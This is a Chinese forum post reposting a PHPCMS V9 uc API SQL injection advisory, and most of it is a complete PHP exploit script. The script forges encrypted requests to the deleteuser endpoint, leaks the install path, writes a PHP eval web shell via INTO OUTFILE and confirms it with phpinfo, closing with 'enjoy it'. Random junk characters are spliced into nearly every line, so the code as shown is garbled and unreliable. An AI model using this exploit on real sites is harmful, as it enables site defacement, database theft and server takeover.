找回密码
 立即注册
查看: 2128|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
3 X, l/ s$ P% _9 v1 f# e) y+ J. |0 A
) r/ k$ s7 }* j& \3 I* B: O9 W- H所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
0 j, [$ W6 e( P; b, m' p6 b
1 D1 k( d/ Y! V9 w% Y漏洞分析:, @3 `$ H2 g" {8 Q% X& V5 s
1.未启用ucenter服务的情况下uc_key为空
9 j. G5 [5 T% D9 S( _define('UC_KEY', pc_base::load_config('system', 'uc_key'));
$ g; B) ^0 O0 m1 o/ O2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) C& @6 k4 |9 ]0 P    public function deleteuser($get,$post) {
! ~+ k7 ?* Q  V        pc_base::load_app_func('global', 'admin');& e% r9 L3 [, Q  \$ ^6 a+ O7 _
        pc_base::load_app_class('messagequeue', 'admin' , 0);8 A* k/ I. u9 ?9 d
        $ids = new_stripslashes($get['ids']);' ~$ \* D+ o0 E- u
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
: ?) ~/ l8 U7 i4 ?! e  b% ISQL语句为
/ H$ |; F2 v, ^  v' D, P. XSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
, \" B* D. V9 ]7 @+ G- I1 w2 g6 e) D9 R# i1 u: B# U$ E
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell6 u% {2 {7 Z( \: E3 V
<?php
$ r" V7 w& Q% R1 t1 t6 C# Eprint_r('
: [8 t- x# }, F% ]- \---------------------------------------------------------------------------% x. R! ?( W! i; {4 A
PHPcms (v9 or Old Version) uc api sql injection 0day
# z% e# p2 z5 N# cby rayh4c#80sec.com
* L1 t) }; B$ }) h---------------------------------------------------------------------------
- S9 \6 l3 Y2 r& ?9 \1 F');% a' x( F# C0 ~5 m$ C
9 z* H5 ?2 Y+ q3 g, p
if ($argc<3) {) i/ P& [( j7 D
    print_r('  L, T) N/ @5 X
---------------------------------------------------------------------------
% g$ E/ a. v# E4 mUsage: php '.$argv[0].' host path OPTIONS
8 t- V! ^  s( H# A3 H& j% ihost:      target server (ip/hostname)
5 {* q9 B* f, _1 xpath:      path to phpcms3 |- c" y9 g  n( ?9 N0 n6 K* [
Options:/ H* Q1 z- F; J& g# g7 ^
-p[port]:    specify a port other than 80
! b* v5 ]  {9 T- D3 A- d' n -P[ip:port]: specify a proxy* R' l* e& \3 A; g- k2 A3 U
Example:" ^3 l, m: P: e  T
php '.$argv[0].' localhost /0 `# {. P/ d2 W2 N- t& E9 O
php '.$argv[0].' localhost /phpcms/ -p81
( K5 `" T/ }$ \4 Y" R" [php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
* D) G, z6 z5 h3 [* j% x' i$ u* `3 g---------------------------------------------------------------------------% t* i3 c2 n  Q
');
3 J, T) d9 ^& v6 N( ?7 q- G# N    die;
; C- E  F7 [) t, i: F}5 g6 @* J/ W2 }5 B

; }7 V- s1 }1 Q; A, _+ [# Perror_reporting(7);3 R) h( `& d! b& d; ?( \) w
ini_set("max_execution_time",0);
. w, V2 z2 s! l* D, j7 H& Fini_set("default_socket_timeout",5);' t/ D  E: [9 |! e2 ]1 k7 x
7 U, W' d9 K& V3 `( ~! d
function quick_dump($string): n. Z8 ]& R+ B5 D0 F8 e
{/ A# k9 l5 z; d' x
  $result='';$exa='';$cont=0;
3 F0 j1 y3 ]- p+ j2 }1 `) ]  for ($i=0; $i<=strlen($string)-1; $i++)
/ A. ]4 K* T+ @" d( l- }0 I  {
3 E2 W0 q( O- H  c   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )). [& a5 L/ Z) A: [0 v0 Y4 F
   {$result.="  .";}2 C' [2 V" d" {- N5 i/ O. w
   else* m+ J% e5 X8 i$ o/ t' X; P
   {$result.="  ".$string[$i];}
$ j/ u, C, S& \3 v   if (strlen(dechex(ord($string[$i])))==2)! ]  e. o0 f* R; ]
   {$exa.=" ".dechex(ord($string[$i]));}
8 v. q# j, r' z( m& v0 {* @8 L   else
2 E' R5 y1 s  A5 }# X   {$exa.=" 0".dechex(ord($string[$i]));}3 E* t# U0 k% d( o
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
6 w) ?  {( e* u4 a- D  }* w' ?4 m% r: _, j
return $exa."\r\n".$result;( v4 w  a8 C8 G; l
}
  M. _" A% A: p. o  x8 d$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
, H( y  k. W, [  J! X  ~# E' h9 ^9 G
. e- F$ [; ^0 Ufunction send($packet)
5 a) ]5 G3 c  N& y{
5 H4 e1 @2 `1 Q1 O/ Z5 [  global $proxy, $host, $port, $html, $proxy_regex;
9 o9 ?4 h8 h  Q  if ($proxy=='') {
& Z' S" |7 i0 B    $ock=fsockopen(gethostbyname($host),$port);
: i4 j! z4 T( G6 w% V    if (!$ock) {( T. I9 T7 t) t  ]. D) i
      echo 'No response from '.$host.':'.$port; die;0 j9 d$ A" G1 s1 m: M3 {
    }
2 [' r0 U5 g# u* [1 f; D! C  }+ K. _! t# F" w4 f# j$ T; R
  else {2 \2 n! H6 v% O7 Z+ t0 d
        $c = preg_match($proxy_regex,$proxy);
4 m% {0 N+ |& n/ b7 p    if (!$c) {1 o( W( X- y9 j
      echo 'Not a valid proxy...';die;2 U4 g( R0 [6 z) H4 }6 L, F' I4 e
    }) i7 n3 D1 {7 \3 U+ \" ~$ r
    $parts=explode(':',$proxy);5 m8 t4 s" I4 Q4 _8 w* |
    $parts[1]=(int)$parts[1];/ E5 p7 m" v$ `8 ~# o4 S
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";" e' m& _6 H1 R+ S: n
    $ock=fsockopen($parts[0],$parts[1]);4 U* q3 _. g0 g4 E% H3 @4 n
    if (!$ock) {" i- ?$ o4 H$ r; c% t
      echo 'No response from proxy...';die;
% G+ x2 ~0 p) Q$ I        }
# r, ?) Q7 o  n. R  }
' Q& u" l) q/ h  B  fputs($ock,$packet);. r+ B* Y5 k- f4 W5 d3 |/ R
  if ($proxy=='') {1 ^! t+ R4 R+ L) @: s' p. Y& o
    $html='';( T  g) I" z4 G7 y2 Y
    while (!feof($ock)) {4 u* E8 t6 ?9 I5 \1 t7 q7 F8 K
      $html.=fgets($ock);% f1 m- S; P. a# c8 D: g
    }
: N5 F1 e9 q8 B4 ]5 T0 F' x  }
" S% ^( V+ q6 c$ n' b  l2 y  else {$ F" @$ H9 Z: h, C4 y, O, R' R( [% g
    $html='';8 T- a! N4 f* W+ ]* n
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {0 k2 E2 z- s0 _' I9 Y- v
      $html.=fread($ock,1);. k9 y; d0 O, H# o, X6 ]4 R
    }/ H& N3 W+ S- B) U, O
  }$ \& a) u3 V. Q
  fclose($ock);! X3 a/ m# o. f6 Z' {& ?$ x% |
}% r0 x( c3 `0 z; F

2 w' x  ?/ Z7 `1 E  ?$host=$argv[1];
& r, @% \5 m" }$ P$path=$argv[2];/ Z$ C7 G6 t1 X* F) \5 o6 \2 w
$port=80;; [; t# Z" a, T( I, ?% N
$proxy="";
5 u; Y- L; d" l1 ^6 h! Vfor ($i=3; $i<$argc; $i++){6 S1 @) E$ y  D$ u
$temp=$argv[$i][0].$argv[$i][1];' Y5 h# H" c) ~; Z$ N
if ($temp=="-p")% t4 V% k8 Z* d- o, J
{
. O$ S) y/ h- z# G# W" a  $port=(int)str_replace("-p","",$argv[$i]);3 z/ P- N7 |8 S5 {  ^- y
}
2 d/ D; v+ t% |8 t+ d+ |+ v/ _& Yif ($temp=="-P")  M9 F0 h5 ~# I: u1 I5 J
{+ X7 W3 v! k7 ?, {
  $proxy=str_replace("-P","",$argv[$i]);/ Q+ `: d4 ]4 h8 d) g0 T. I
}
4 m! h6 t  K" {8 }7 e4 [0 q}1 n' @' r( I+ S9 f1 J

% D, [9 o+ h0 D4 hif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}& Q' ?- v8 W/ F2 e/ [# V  X
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}! D7 B" X( Y9 }

. g4 H, P) |* j+ W% W1 Lfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {7 K7 W* f1 M) G! @4 \, a( U( ~( O
+ J3 g  E; S% [1 z3 W! z9 S$ p
    $ckey_length = 4;8 @) V$ d: X& _# c- q. F9 a1 l) t  [
& `# ~1 ?  o/ j
    $key = md5($key ? $key : '');
% z- x2 i! Q, S: W8 R    $keya = md5(substr($key, 0, 16));8 n4 P$ v0 H! O/ h% K
    $keyb = md5(substr($key, 16, 16));
, O9 r( J7 T% s8 \$ G# Y( P    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' H& X) o9 F; l) {+ K- p& V9 ]% [/ Y0 Y& S* ]/ T( q7 ~# I3 o7 k
    $cryptkey = $keya.md5($keya.$keyc);* J8 k  W8 G, [( r' ?1 F$ y
    $key_length = strlen($cryptkey);
' n0 Z. m& R4 G8 z% ]7 }: \
3 Q+ ?4 p+ h$ F: z- Y. |. D    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
1 j5 Q3 ~# t6 y. S, |    $string_length = strlen($string);
! f2 F3 @  a2 K: D" c+ E- P, M% ], `0 A+ g9 Q
    $result = '';
4 g5 W% e/ e4 ]3 U. O$ [1 i3 f    $box = range(0, 255);
( G6 q, W9 e. ?0 ~( o9 m
* |+ p/ _, f* \7 T& z    $rndkey = array();
2 L& J9 q+ T& s  Y2 x    for($i = 0; $i <= 255; $i++) {5 E7 p& B* ^) Y
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
3 e4 W# D/ |* t1 Z$ f    }
9 \' _7 ?: ~! `) ^& T% u
2 ?4 X7 F$ I; e9 t4 ]    for($j = $i = 0; $i < 256; $i++) {$ I9 C) Z8 e; ^. P* J3 G; ^0 j
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;# [) s  ~5 [3 h* q
        $tmp = $box[$i];
3 B. u: h0 U% ?4 L: H2 {4 F6 {; V        $box[$i] = $box[$j];
+ M% H0 ?) L! l9 F) T        $box[$j] = $tmp;' [" Z' x- I* ?: z; x1 N
    }( X* Q1 Q9 B! z1 o% t8 v3 T3 E5 ]4 \

, |- M, D/ }5 ^1 ]6 R    for($a = $j = $i = 0; $i < $string_length; $i++) {, p9 Z0 D' O6 ]/ u
        $a = ($a + 1) % 256;/ `" n6 K# N4 k8 U# a9 d9 E$ T
        $j = ($j + $box[$a]) % 256;
" R, a9 M+ h" h; r+ [        $tmp = $box[$a];; X9 s1 O% V: ~% R: l
        $box[$a] = $box[$j];
. g3 {: @! p4 e        $box[$j] = $tmp;
  K" ?3 r4 Q( P' k        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
* q& a% _( @, q; E, z$ N- e    }2 s7 z& _! T1 w

3 Z8 x4 {$ y5 A' b- Y    if($operation == 'DECODE') {
/ k$ @- q# R  I7 ?# |+ A        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {. O# u4 O/ o/ ^; |" \; E
            return substr($result, 26);3 D# e! I# |- N
        } else {
* Z# |3 f; o8 w9 l5 V            return '';+ v6 a$ q' k$ b2 u" x9 V8 [+ w
        }3 z4 T/ K" |0 w9 Y0 Z2 C
    } else {6 U: b& K* @7 A3 k3 J0 T" }
        return $keyc.str_replace('=', '', base64_encode($result));( K. H1 q) _1 n
    }+ g  S  d5 }! k9 [

" }  m4 E5 o4 K}/ Z5 |' @5 u4 v! A: z
8 N' _1 {, J6 @  I/ L$ Q" ~' e$ H5 c
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";6 i/ W5 A/ e- X9 F
$SQL = urlencode(authcode($SQL, "ENCODE", ""));& w  _! s- Z! j% x" S- R
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
7 o; r( g1 a' O$ P; O$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
7 T; V) I1 G2 J( N$packet.="User-Agent: Mozilla/5.0\r\n";
4 W; {2 M* x3 o9 w$packet.="Host: ".$host."\r\n";
; q! k# {2 r- h" G9 W- _$packet.="Connection: Close\r\n\r\n";( g# d0 m. v9 h; [. y/ A
send($packet);! k( Y+ j% R% F4 b4 z+ U! }% @9 }
if(strpos($html,"MySQL Errno") > 0){/ M! Y/ K! `! ]+ P0 h/ o' l& Y0 z, O
echo "[2] 发现存在SQL注入漏洞"."\n";, o+ L: y$ [; m6 Q$ c
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";9 O" v; `% A: q* M. K/ L
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";" ^# w+ o5 }% ~2 @
$packet.="User-Agent: Mozilla/5.0\r\n";% x) V0 W) i9 I0 L  l  q) s% X, w3 r
$packet.="Host: ".$host."\r\n";
0 W9 P$ @2 L! q/ `$packet.="Connection: Close\r\n\r\n";2 F# r- R9 h9 @' A+ V
send($packet);7 J" y1 Q1 ?" d6 F0 w+ k
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
9 g  v' f5 ]  M1 E1 }. @//print_r($matches);3 h4 k8 d  y/ w7 j2 g
if(!empty($matches)){
$ L1 q% P5 ]+ V; T$ f2 oecho "[4] 得到web路径 " . $matches[0]."\n";4 ^) r. C* z/ @$ Y0 ^) R
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
6 C& {( Z. B) v, B$SQL = "time=999999999999999999999999&ids=1)";& m4 e( \- D0 {( y2 n& ~0 B
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";! J0 e; F5 U5 S6 H+ R! F
$SQL.="&action=deleteuser";
& D3 `4 Q0 G" ]$SQL = urlencode(authcode($SQL, "ENCODE", ""));) ^: K. c: _8 B8 P  \( g
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
& H4 L0 Q; q  R$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";3 w2 ~2 Q" L+ [3 n0 Z' M, J. O) l
$packet.="User-Agent: Mozilla/5.0\r\n";9 e. g% F" s- _( P% |) c
$packet.="Host: ".$host."\r\n";7 R6 ~+ B) e+ x
$packet.="Connection: Close\r\n\r\n";
' }  d, c: b% Asend($packet);" k' {  }3 p3 J) e( ?+ ^
if(strpos($html,"Access denied") > 0){0 z4 }1 B. u* v2 k
echo "[-] MYSQL权限过低 禁止写入文件 ";) |) H7 \* T7 C* i1 |' E7 p
die;
$ F" D5 F% C/ Q) c- `/ X; p}
" d- o: E* P$ W5 `. Z* ]echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 H% q$ I% f, k3 Y' r
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% Z5 y& x0 Y/ ?: u4 E$ t
$packet.="User-Agent: Mozilla/5.0\r\n";
( T7 Q! {7 w; P$packet.="Host: ".$host."\r\n";/ B4 z' X' a  E2 r
$packet.="Connection: Close\r\n\r\n";; }: y% R7 a6 |0 l% p' m! U6 c
send($packet);: K" S- z: N. t3 H, n
if(strpos($html,"<title>phpinfo()</title>") > 0){$ l: a) V' }; `0 n# z
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
5 A, V9 J+ Y! L- H' P& W$ P7 V}% d8 F$ F- T! O, a$ @% j" i
}else{
/ O. x) H# d0 ]* X( t; G" lecho "[-]未取到web路径 ";4 c& F  ?# _; Q% m0 N! q- z
}
, `. f9 n; c- Z; |' ~}else{1 Z. f8 e9 C. W
echo "[*]不存在SQL注入漏洞"."\n";
8 @+ j5 w& J9 k}& [/ o. v' R, c* H' w# Z1 G- a3 E+ [

* _* Q6 [. A: o7 B?>. P! N' j; o# t8 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表